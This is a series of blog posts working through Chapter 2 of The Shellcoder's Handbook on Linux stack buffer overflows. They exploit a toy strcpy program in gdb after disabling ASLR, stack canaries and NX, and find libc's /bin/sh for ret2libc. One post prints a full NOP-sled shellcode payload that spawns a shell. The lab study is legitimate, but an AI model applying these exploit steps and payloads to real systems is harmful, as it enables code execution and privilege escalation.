Showing posts with label chapter_2. Show all posts
Showing posts with label chapter_2. Show all posts

Sunday, April 10, 2011

Chapter 2, "Using an Exploit", pp 31-38 Continued

Chapter 2 presents a simple C program that contains a buffer overflow, victim.c:

#include <string.h>
int main(int argc, char *argv[]) {
char little_array[512];
if (argc > 1)
strcpy(little_array, argv[1]);
}


The chapter then proceeds to present a series of approaches to exploiting this application. We'll start with the first approach, which is one of the most basic and fundamental approaches you can take with a unrestricted stack buffer: A payload containing shellcode, followed by the address of the shellcode one or more times. Repeating the address of the shellcode is just a fudge-factor; technically, we only need it once in order to overwrite the return address, but we have to fill our buffer with SOMETHING, and it may as well be the address of our shellcode. We could just as easily substitute in NOPs or any kind of junk data, though, aside from null characters (\x00), which would terminate the strcpy() prematurely. In some cases, repeating your target offset may give you more leeway when the exact location of the memory you want to overwrite is unpredictable.

There are a number of steps to overcome to get this basic exploit working. First, you need to decide which platform (version of Linux, compiler, etc.) you want to exploit this on. You can certainly use an older version of an operating system (like this version of Debian based on the Linux version used in the book), and this will reduce the number of extra steps you will have to take beyond what the book describes. Personally, I prefer to have the amenities of using a modern version of Linux, and also have some sense about what changes have been made to Linux and gcc to thwart such attacks. This also tells me what exploit mitigations I need to learn to defeat in order to get my exploits working on current platforms. I use a default version of Ubuntu Linux Desktop (10.10) for this purpose.

Since I've opted to use modern versions of Linux and gcc, there are a bunch of exploit mitigation technologies that I need to either circumvent or turn off in order to get this attack working. Since we're still early in the book, let's start by just turning them off. These technologies include:

1. ASLR - Randomization of memory segments that makes it difficult to find the address of the buffer we're overflowing, and thus difficult to find our shellcode in memory when we're trying to jump to it. This is a system-wide setting in Linux. I disable this with a short bash script (aslroff.sh):
echo 0 > /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space


Which is invoked with:
$ sudo ./aslroff.sh


The default value in Ubuntu 10.10 is "2" rather than "0". "0" means "off".

2. Stack cookies -- A stack cookie is an unpredictable value put on the stack between our buffer and the return address we want to overwrite. There's a call to a function to check this "canary" each time before returning from a given function, so if the canary fails this test, the program will be terminated before we get to jump to our overwritten return address. This is a program-specific, compiler-level protection that is turned on by default in gcc. This can be disabled by compiling our victim program with the gcc switch "-fno-stack-protector".

3. DEP or NX -- This is an exploit mitigation that stops a program from executing code that is located on the stack. Most programs don't need to execute code from the stack, and so are set with this executable flag to protect them. A convenient utility to disable this protection is "execstack". execstack is not included by default in my copy of Ubuntu, I had to install it with "sudo apt-get install execstack". Once we've compiled our program, we can remove this default protection mechanism by running:

$ execstack -s ./victim


The book suggests that we want to get shell as root (we'll see that there's a problem with this down the road), so taking all of this into account, the commands you want to run would look something like:

$ sudo gcc -fno-stack-protector -mpreferred-stack-boundary=2 -o victim victim.c
$ sudo execstack -s victim
$ sudo chown root victim
$ sudo chmod +s victim


Hooray! Now we have a victim program with no DEP, ASLR, or stack canaries, running with root privileges.

attack.c is written in such a way to make it easy to change the length of the payload, and to modify our guesstimate on the start location of our buffer. With this first approach, we don't have the luxury of a NOP sled, and need the exact offset of our shellcode in memory. The book is purposely vague on how to determine the proper payload length and memory offset at this point; it hasn't discussed in depth how to reverse target programs to obtain these values. The tediousness of blindly guessing these values illustrates the value of a NOP slded. However, if you already have some familiarity with basic commands in gdb, you can easily determine these values with a little reverse engineering, and use them as arguments to attack.c to generate a successful payload.

For attack.c, you will have to make the modification mentioned in bNull's previous post in order for it to generate anything at all; be sure that you place the malloc() AFTER you read in the command-line args. Once you've made that fix, we want to determine 1) how much data on the stack we need to overwrite in order to overwrite main's return address, and 2) where our shellcode is in memory, so we can jump (technically, RET) to it.

Let's go ahead and load our victim program into gdb:
$ gdb -q ./victim


In order how to figure out how long our payload needs to be, we need to find out 2 things: a) where the buffer we're overflowing starts, and b) the RA that we're trying to overwrite. Since the vulnerable strcpy() occurs in main(), we're looking to overwrite the RA that is used by the RET in main(). If we disassemble the main function with "disas main":

NOTE: YOUR SYSTEM MAY AND PROBABLY WILL DIFFER FROM MINE, SO FOLLOW ALONG ON YOUR OWN SYSTEM AND USE THE ADDRESSES THAT IT GENERATES, RATHER THAN THE ONES YOU SEE HERE.

(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <+0>: push %ebp
0x080483c5 <+1>: mov %esp,%ebp
0x080483c7 <+3>: sub $0x208,%esp
0x080483cd <+9>: cmpl $0x1,0x8(%ebp)
0x080483d1 <+13>: jle 0x80483ed <main+41>
0x080483d3 <+15>: mov 0xc(%ebp),%eax
0x080483d6 <+18>: add $0x4,%eax
0x080483d9 <+21>: mov (%eax),%eax
0x080483db <+23>: mov %eax,0x4(%esp)
0x080483df <+27>: lea -0x200(%ebp),%eax
0x080483e5 <+33>: mov %eax,(%esp)
0x080483e8 <+36>: call 0x80482f4 <strcpy@plt>
0x080483ed <+41>: leave
0x080483ee <+42>: ret
End of assembler dump.


Based on our (presumed) understanding of how the stack works, we know that the RET command at 0x080483ee will pop the return address from the stack (currently pointed to by ESP) and jump to that address. If we set a breakpoint at that instruction and look at the value of ESP, that will tell us exactly where in the stack segment the return address lies; since we have ASLR disabled, it will always be the same address.

(gdb) break *0x080483ee
Breakpoint 1 at 0x80483ee
(gdb) run putwhateverhere
Starting program: /home/kjw/shellcoders-handbook/victim putwhateverhere
Breakpoint 1, 0x080483ee in main ()


Note: We have to prefix the address that we want to set a breakpoint at in order to tell gdb that it's a memory address, rather than a c function called "0x080483ee()". Then, we run the program, giving it some junk text as a parameter so that it will pass the "if (argc > 1)" check. As we hoped, the program stopped right before executing the RET command. Now, if we look at ESP:

(gdb) x/xw $esp
0xbffffbcc: 0x00155ce7
(gdb) disas 0x00155ce7
Dump of assembler code for function __libc_start_main:
0x00155c00 <+0>: push %ebp
0x00155c01 <+1>: mov %esp,%ebp
...


We can see that ESP is currently pointing at a function called "__libc_start_main". This is a function that is executed before the main() function is executed, and which actually calls main(), so naturally we are returning to that function when we return from main(). We can also see that the RA we want to overwrite on the stack is located at the address 0xbffffbcc. In Ubuntu 10.10, stack addresses tend to start with "0xbffff".

Now we need to find out where the buffer starts on the stack. There are lots of ways to figure this out, but to keep things simple, let's just restart the program with an input to the buffer that will be easy to recognize in memory, and stick with the same breakpoint at RET in main(). I like to use a bunch of "A"s, the ASCII code of which is 0x41 in hex.

(gdb) run AAAAAAAAAAAAAAAAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/kjw/shellcoders-handbook/victim AAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x080483ee in main ()


So again, we have our stack pointer pointing at the return address from main(). The RA was pushed to the stack before main() was called, so our target buffer must have been created somewhere later on the stack. Since the stack grows up toward smaller addresses in memory, our buffer is going to be in a lower memory address than where ESP currently points to. Memory will look something like:

lower address e.g. 0x00000000
/\

[target buffer, approximately 512-bytes in length]
[some other stuff, possibly]
[return address]

\/
higher address e.g. 0xffffffff

It's certainly possible that our target buffer may have already been overwritten and otherwise mangled by the time execution arrives at the RET command, but since there's not much going on in our program, it will still be sitting there in memory where we put it with strcpy(); just the stack pointer has been moved since then. We don't know exactly where it will start, but we know it will be at least 512 bytes previous to the RA, since that's the size of the buffer. Unless there is a special case, we'll want to look before that in some multiple of 4 bytes to stay aligned with the stack.

(gdb) x/20xw $esp-532
0xbffff9b8: 0xbffffbc8 0x080483ed 0xbffff9c8 0xbffffdce
0xbffff9c8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9d8: 0x00004141 0x00000001 0x0012cff4 0x00000000
0xbffff9e8: 0xbffffa94 0x0011b0df 0x0012dad0 0x00130d78
0xbffff9f8: 0x00000001 0x00000001 0x00000000 0x0011caca


Hey, look! We have a bunch of 0x41's in a row, starting at address 0xbffff9c8 on the stack. That must be the many consecutive "A" characters that we passed to the program as an argument. Now we need to figure out the distance between the beginning of the buffer and the return address that we want to overwrite, so we know how long the payload needs to be.

(gdb) p 0xbffffbcc - 0xbffff9c8
$1 = 516


We actually need to add 4 to this value, because the integer printed here is the distance between the beginning of the buffer and the offset immediately before the RA, which itself is 4 bytes. If you're already a bit familiar with reversing, 520 is exactly what you would expect if the compiler is not putting any fluff on the stack: 512 bytes for the buffer, a 4-byte "saved frame pointer" (SFP), and a 4-byte return address.

We now have almost everything that we need to get our attack working in GDB. We know where our shellcode starts on the stack: at the beginning of the buffer, at 0xbffff9c8. We also know how long our payload needs to be in order to overwrite the return address: 520 bytes. The second value has to be tweaked slightly due to the way that attack.c is written: we need to add 4 to account for the "BUF=" string added to the beginning of the buffer in attack.c, and add 1 more so that we're not overwriting our destination offset with the null terminating character. The final buffer length argument we'll use is 525. In order to get that first offset value (0xbffff9c8) working with our attack.c program, we just need to relate that address to the guesstimate offset that's included in attack.c. We can figure this out by trying it with an offset argument of 0 first:

kjw@ubuntu-vm0:~/shellcoders-handbook$ ./attack 525 0
Attempting address: 0xbffffbd8


Without any offset provided by us, the program will create a payload that guesses that the shellcode can be found at 0xbffffbd8. Wrong! Where in attack.c do we use that offset argument to change the guess?

addr = find_start() - offset;


OK, so if the offset is zero, that means that addr = find_start() - 0 = 0xbffffbd8. We want addr to be 0xbffff9c8. This means the following equation will compute the "addr" guess based on the offset argument provided to attack.c:

0xbffffbd8 - 0xbffff9c8 = offset

Let's find the right offset to use:

kjw@ubuntu-vm0:~/shellcoders-handbook$ gdb -q
(gdb) p 0xbffffbd8 - 0xbffff9c8
$1 = 528


Alright, so if we use a bsize argument of 525 and an offset argument of 528, our exploit should work. Let's try it in gdb. Before that, let's exit the /bin/sh shell that was started by running "attack" last time.

kjw@ubuntu-vm0:~/shellcoders-handbook$ exit
exit
kjw@ubuntu-vm0:~/shellcoders-handbook$ ./attack 525 528
Attempting address: 0xbffff9c8
kjw@ubuntu-vm0:~/shellcoders-handbook$ gdb -q ./victim
Reading symbols from /home/kjw/shellcoders-handbook/victim...(no debugging symbols found)...done.
(gdb) run $BUF
Starting program: /home/kjw/shellcoders-handbook/victim $BUF

Program received signal SIGSEGV, Segmentation fault.
0xbffff9c8 in ?? ()



Oops. The program crashed, no shell. gdb tells us that when it crashed, it was executing our target offset at 0xbffff9c8. Let's look at the stack there right before the RET command is executed.

(gdb) b *0x080483ee
Breakpoint 1 at 0x80483ee
(gdb) run $BUF
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/kjw/shellcoders-handbook/victim $BUF

Breakpoint 1, 0x080483ee in main ()
(gdb) x/x $esp
0xbffff27c: 0xbffff9c8
(gdb) x/x 0xbffff9c8
0xbffff9c8: 0x67733a31
(gdb) x/20x $esp-532
0xbffff068: 0xbffff278 0x080483ed 0xbffff078 0xbffff49a
0xbffff078: 0x315e1aeb 0x074688c0 0x5e891e8d 0x0c468908
0xbffff088: 0xf3890bb0 0x8d084e8d 0x80cd0c56 0xffffe1e8
0xbffff098: 0x69622fff 0x68732f6e 0xbffff9c8 0xbffff9c8
0xbffff0a8: 0xbffff9c8 0xbffff9c8 0xbffff9c8 0xbffff9c8


This doesn't look like the start of our shellcode; we were looking for 0x315e1aeb but found 0x67733a31. And there's another thing that's strange here. When we were first finding the beginning of our shellcode on the stack, it was at 0xbffffbcc, and now it's at 0xbffff078. It's moved, even though we disabled ASLR. What's changed since then? Well, instead of just providing a junk string to victim, we've now executed attack.c with some arguments, which then creates an environment variable in another invocation of /bin/sh with "putenv(buff)" and "system("/bin/bash -p")" in attack.c. All of this has the potential to change the stack by the time we start running victim.c in gdb.

So, as you can see, if we are going to use this approach of storing our payload in an environment variable and invoking /bin/sh with it, we either need to predict exactly how this will impact the stack, or we need to use an iterative process to figure out the correct values for our offsets and payload size. Let's see if we can get the correct values by debugging in as close to the final attack environment as possible. First, we want to make sure that we always return to the same common point in /bin/sh invocations; otherwise, each new invocation will move the stack around. I'm connected to an Ubuntu virtual machine via ssh, and I don't enable colors on the command-line interface. Whenever I invoke another /bin/sh, it enables colors. So, I know that I've returned to a common point when I've run exit enough times to have no color.

kjw@ubuntu-vm0:~/shellcoders-handbook$ ./attack 520 0
Attempting address: 0xbffffbd8


Default offset for attack.c is still 0xbffffbd8.

kjw@ubuntu-vm0:~/shellcoders-handbook$ gdb -q
(gdb) p 0xbffffbd8-0xbffff078
$1 = 2912


New offset arg to use is 2912.

Now exit back to the common bash invocation and try these new values with attack.c.

kjw@ubuntu-vm0:~/shellcoders-handbook$ exit
exit
kjw@ubuntu-vm0:~/shellcoders-handbook$ ./attack 525 2912
Attempting address: 0xbffff078
kjw@ubuntu-vm0:~/shellcoders-handbook$ gdb -q ./victim
Reading symbols from /home/kjw/shellcoders-handbook/victim...(no debugging symbols found)...done.
(gdb) run $BUF
Starting program: /home/kjw/shellcoders-handbook/victim $BUF
process 10639 is executing new program: /bin/dash
$


Success! We overwrote the return address with the offset of our shellcode, and our shellcode got us root. Right?

$ whoami
kjw


Unfortunately for us, bash will drop privileges by default. We need different shellcode that prepends a call to seteuid() before invoking bash. I'll hopefully be writing another blog post about how to use the Metasploit Framework to generate shellcode that can do this for us. For now, let's just try to get this non-root exploit working outside of gdb. What happens when we try to run it with the same parameters outside of gdb?

kjw@ubuntu-vm0:~/shellcoders-handbook$ ./attack 525 2912
Attempting address: 0xbffff078
kjw@ubuntu-vm0:~/shellcoders-handbook$ ./victim $BUF
Illegal instruction


So, it appears that the mere act of executing the program in gdb as opposed to from the shell changes the stack and blows our exploit. Figuring out how to modify the offset to account for this can be a bit tricky, so I'll leave that for another blog post as well.

(Edited 4/17 with a few corrections about Linux versions from todb for sake of clarity.)

Monday, August 23, 2010

Chapter 2, "Using an Exploit", pp 31-38

There are a couple of code examples in chapter 2 that just wouldn't work for me out of the box. Specifically, I'm referring to attack.c and ret2lib.c. Interestingly enough, the related example that falls in between, nopattack.c, seems to work without modification. My C is hackish at best, so it wasn't immediately obvious to me what the problem was. Comparing the malfunctioning examples with nopattack.c, however, it became apparent that the memory allocation line was missing. The following is the missing lines of code:

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
This should go right after your definition of bsize (line 26 in both examples should be fine). Without this line, the app segfaults... which makes sense, in hindsight. We're trying to use heap space that we haven't allocated! Unfortunately, as todb mentioned in a previous post, the technique in attack.c doesn't seem to work, anyway. A future endeavor, perhaps.

Additionally, with reference to ret2libc attacks, there's an excellent paper by Nergal in phrack 58, titled "The advanced return-into-lib(c) exploits: PaX case study". It can be found over here. It goes into detail about techniques to chain multiple ret2libc calls together, in addition to an in-depth discussion about PaX.

Tuesday, May 19, 2009

Using memfetch, page 37

This line is somewhat mysterious:
memfetch will dump everything in memory for a specific process; simply look through the binary files for the address of /bin/sh
I've never used memfetch, so may as well get into it now. First, you'll need to get a hold of it and compile it. Download it from Zalewski's site, and, if you're like me and don't have your Linux kernel headers in your include path already, edit the #include line for 'page.h' to
#include "/usr/src/linux/include/asm/page.h"
Googling around for some examples on using memfetch to actually find the address of /bin/sh turns up little, other than copy-pastes of this very section of Shellcoders (like this one). So, not much luck there. After some trial and error, I have a procedure together now which seems to work pretty well.

Memfetch won't run on a process that's already being traced (like, via gdb), so the easiest way to search for /bin/sh is to write a program that hangs around a while. I wrote sleeper.c for this:
int main(void) {
printf("process id: %d\n", getpid());
sleep(30);
}
At this point, compile and run sleeper.c as normal. Note the process ID, and in another terminal, run memfetch , grep for "/bin/sh", note which dump it's in, look for its offset, and do a little arithmetic to figure out where this string lives. Below is a screen capture of the process.
todb@mazikeen:~/dev/sc/memfetch$ ./memfetch 2882
memfetch 0.05b by Michal Zalewski
[+] Attached to PID 2882 (/home/todb/dev/sc/sleep).
[*] Writing master information to mfetch.lst...
Writing map at 0x08048000 (4096 bytes)... [N] done (map-000.bin)
Writing map at 0x08049000 (4096 bytes)... [N] done (map-001.bin)
Writing map at 0x0804a000 (4096 bytes)... [N] done (map-002.bin)
Writing mem at 0xb7e6c000 (4096 bytes)... [S] done (mem-003.bin)
Writing map at 0xb7e6d000 (1409024 bytes)... [S] done (map-004.bin)
Writing map at 0xb7fc5000 (8192 bytes)... [S] done (map-005.bin)
Writing map at 0xb7fc7000 (4096 bytes)... [S] done (map-006.bin)
Writing mem at 0xb7fc8000 (12288 bytes)... [S] done (mem-007.bin)
Writing mem at 0xb7fe0000 (12288 bytes)... [S] done (mem-008.bin)
Writing map at 0xb7fe3000 (106496 bytes)... [S] done (map-009.bin)
Writing mem at 0xb7ffd000 (4096 bytes)... [S] done (mem-010.bin)
Writing map at 0xb7ffe000 (4096 bytes)... [S] done (map-011.bin)
Writing map at 0xb7fff000 (4096 bytes)... [S] done (map-012.bin)
Writing mem at 0xbffeb000 (86016 bytes)... [S] done (mem-013.bin)
[*] Done (14 matching). Have a nice day.
todb@mazikeen:~/dev/sc/memfetch$ grep '/bin/sh' *.bin
Binary file map-004.bin matches
todb@mazikeen:~/dev/sc/memfetch$ irb
irb(main):001:0> f = File.open('map-004.bin') {|f| f.read} ; nil
=> nil
irb(main):002:0> hex # A quicky irb function that converts dec to hex for return values.
=> true
irb(main):003:0> loc = f.index('/bin/sh') # the offset into mem-004.bin
=> 13cc73
irb(main):004:0> start = 0xb7e6d000 # Remember, that's where map-004.bin starts.
=> b7e6d000
irb(main):005:0> start + loc # The location of /bin/sh.
=> b7fa9c73
To verify this value, I re-ran sleep with gdb attached:

todb@mazikeen:~/dev/sc$ gdb ./sleep
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) break main
Breakpoint 1 at 0x8048432
(gdb) r
Starting program: /home/todb/dev/sc/sleep

Breakpoint 1, 0x08048432 in main ()
Current language: auto; currently asm
(gdb) x/s 0xb7fa9c73
0xb7fa9c73: "/bin/sh"
(gdb)
Ta-da! So there you have it, using memfetch to find the location of the string "/bin/sh" for use in a return-to-libc style stack exploit. Remember, for this to work consistently, you need to disable ASLR with sudo /sbin/sysctl -w kernel.randomize_va_space=0, as mentioned here.

PS, one useful links I found while puzzling this out is Securiteam's GDB cheat sheet, at: http://www.securiteam.com/securityreviews/5UP0B2KCKI.html. Another is c0ntex's https://www.securinfos.info/english/security-whitepapers-hacking-tutorials/Return-to-libc.txt, which is essentially the same as this Shellcoder's section, but just presented a little differently.

Also, the astute reader will notice about a month lapsed between the last blog post and this one; finals and work and real life intruded on this work for a little bit. Hopefully, I'm back in a position to devote some time to this every day again.

Thursday, April 16, 2009

Debian 2.4 Kernel VMWare image ready!

I've created a Debian 3.1 (Sarge) VMWare image, featuring the delightfully insecure 2.4 Linux kernel, after several hours of piecing together the Debian jigdo distribution. It's available here.

Wednesday, April 15, 2009

Illustrating the NOP sled, page 34

Happily, nopattack.c works like a champ. The immediate problem with attack.c was that I was never getting down to the final system("/bin/bash") call in main(), so I was never going to guess ESP correctly. No such problems plague nopattack.c, though.

The only mild criticism I have at this point is that the eventual value of the environment variable, $BUF, is never really spelled out in the text. So, this is what it looks like (interpreted through irb):
irb(main):005:0> buf = %x['set'].split(/\n/)[1]
=> "BUF='\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\353\032^1\300\210F\a\215\036\211^\b\211F\f\260\v\211\363\215N\b\215V\f\315\200\350\341\377\377\377/bin/sh\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377'"
irb(main):006:0> buf[5,10240].unpack("H*").first.scan(/../).join(' ')
=> "90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 eb 1a 5e 31 c0 88 46 07 8d 1e 89 5e 08 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 e8 e1 ff ff ff 2f 62 69 6e 2f 73 68 ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff 27"
That's a mighty fine NOP sled.

Tuesday, April 14, 2009

Cheaters! Page 32

Well, even after all that, couldn't get myself a root shell. Couple things to note:

attack.c doesn't actually run correctly for me -- I get a segfault on run in the neighborhood of line 34. Since my C skills are atrocious, I just rewrote the thing in ruby to do what I think it's supposed to do. However, even with this work-around, I can't trigger the vulnerability in victim.c beyond a segfault. But apparently, that's okay, neither could the authors, since they admit that they "cheated a little bit, to be honest," on page 32, using a different exploit with a different return address.

On to NOPs!

Avoiding ASLR, Page 28

So, I'm trying to get the local DVD ISO's of Debian 3.1r4, and it's going to take at least all day to download. The archival ISOs are only in jigdo format, which means you have to download all the individual debs -- I'm unable to find any ISOs Debian 3.1 (Sarge) of any revision.

I briefly toyed with an old Fedora Core 4 VMWare image from the VMWare Appliance store, but it's useless since it didn't ship with a compiler (no gcc or cc at all! Useless!). So, never mind on all that.

I suppose it's for the best. If ASLR is the state of the art today, I guess I may as well just read through the old way of doing things on Linux, and not worry too much about replicating the results of exploiting with static stack layouts.

But not so fast! I little bit more Googling turned up the correct sysctl options. Thanks to Smash the Stack, I found this, and it works like a champ:
todb@mazikeen:~/dev/sc$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
todb@mazikeen:~/dev/sc$ gcc find_start.c -o find_start
todb@mazikeen:~/dev/sc$ ./find_start
Found start: 0xbffff344
todb@mazikeen:~/dev/sc$ ./find_start
Found start: 0xbffff344
Huzzah! So, back to page 28.
By the way, here's the jigdo command line, if you'd like to give building Sarge a whirl:
jigdo-lite http://cdimage.debian.org/cdimage/archive/3.1_r4/i386/jigdo-dvd/debian-31r4-i386-binary-1.jigdo

jigdo-lite http://cdimage.debian.org/cdimage/archive/3.1_r4/i386/jigdo-dvd/debian-31r4-i386-binary-2.jigdo
That bad boy is still churning away.

Monday, April 13, 2009

Chapter 2, "Overflowing Buffers on the Stack," page 28

Welp, it looks like it's the end of the line for my stock Ubuntu kernel -- it's clear that Ubuntu 8.10 is using ASLR (Address Space Layout Randomization), as described later in Chapter 14, on page 396.

Now, I did mess with find_start.c a little to match up where the stack actually starts with what's reported in /proc/<pid>/maps. Here's that -- and this looks like it might be marginally useful in actual exploitation:
#include 
// find_start.c
unsigned int find_start(void)
{
__asm__("movl %esp, %eax");
}

int main()
{
printf("Found start: 0x%x\n",find_start());
printf("*********************************\n");
char path[80];
sprintf(path, "/proc/%d/maps",getpid());
printf("Snarfing %s\n",path);
char *cmd[3];
cmd[0] = "/bin/cat";
cmd[1] = path;
cmd[2] = 0x0;
execv(cmd[0],cmd);
}
Excuse my ghetto C, but this allows me to see output like:
todb@mazikeen:~/dev/sc$ ./find_start 
Found start: 0xbfb17e7c
*********************************
Snarfing /proc/4264/maps
[... memory map here...]
bfb05000-bfb1a000 rw-p bffeb000 00:00 0 [stack]
todb@mazikeen:~/dev/sc$

Running this a few times elicits different results for both the found start value, and the start and end of the stack. Too bad I'm way too stupid to work through how to fix this up with my usual running kernel -- I will have to procure or compile a new kernel without ASLR to make any more headway with this example exploit. I guess I'll get back to it later.

One great pointer here though is that this author states he's "running on Debian 3.1r4," so it would probably be a good idea to create a VM with that distro for the rest of the exercises. It'll still be interesting to note where certain attacks succeed on this (multiyear out of date) build versus the new Linux hotness. this link (specifically the gnome.org version) may work for our purposes.

Chapter 2, "Overflowing Buffers on the Stack," page 27

Compiling the supplied shellcode.c seems to work, but it doesn't with the indicated command line.
todb@mazikeen:~/dev/sc$ gcc shellcode.c -o shellcode
todb@mazikeen:~/dev/sc$ ./shellcode
todb@mazikeen:~/dev/sc$ echo $SHELL
/bin/bash
todb@mazikeen:~/dev/sc$

Compiling with the preferred stack boundary set will make the supplied shellcode usable:
todb@mazikeen:~/dev/sc$ gcc -mpreferred-stack-boundary=2 shellcode.c -o shellcode
todb@mazikeen:~/dev/sc$ ./shellcode
$ echo $SHELL

Note, in the first place, all we did was return -- we weren't in a new spawned shell at all (or else we would see the bare sh prompt instead of my decorated bash prompt).

This post talks a little about what preferred-stack-boundary actually does (he quotes, apparently, from here); since this is shellcode, I assume the default boundary of 4 is causing the opcodes to get misaligned when it's left off of the gcc command line.

Thursday, April 9, 2009

Chapter 2, Example 2-3, "Overflowing Buffers on the Stack," page 23

So, first off, I've downloaded the real code examples from Wiley, here. From here on in, I'll be using their code, rather than retyping it myself like a dunderhead.

Second, I wasn't getting my exploit to work exactly as expected. Turns out, I have an extra 4 bytes at the end of my array[30] buffer that I have to get through. This became obvious when I looked at the dump:
(gdb) disassemble return_input 
Dump of assembler code for function return_input:
0x080483f4 : push %ebp
0x080483f5 : mov %esp,%ebp
0x080483f7 : sub $0x24,%esp
0x080483fa : lea -0x1e(%ebp),%eax
0x080483fd : mov %eax,(%esp)
0x08048400 : call 0x8048308
0x08048405 : lea -0x1e(%ebp),%eax
0x08048408 : mov %eax,(%esp)
0x0804840b : call 0x8048328
0x08048410 : leave
0x08048411 : ret
End of assembler dump.
(gdb) break *0x08048400
Breakpoint 1 at 0x8048400: file overflow.c, line 4.
(gdb) break *0x08048411
Breakpoint 2 at 0x8048411: file overflow.c, line 6.
(gdb) run
Starting program: /home/todb/dev/sc/overflow

Breakpoint 1, 0x08048400 in return_input () at overflow.c:4
4 gets (array);
(gdb) disas main
Dump of assembler code for function main:
0x08048412 : push %ebp
0x08048413 : mov %esp,%ebp
0x08048415 : call 0x80483f4
0x0804841a : mov $0x0,%eax
0x0804841f : pop %ebp
0x08048420 : ret
End of assembler dump.
(gdb) x/20x $esp
0xbfc7b80c: 0xbfc7b812 0xb7f46ff4 0x08049ff4 0xbfc7b838
0xbfc7b81c: 0x08048459 0xb7f6ff50 0x08048340 0x0804844b
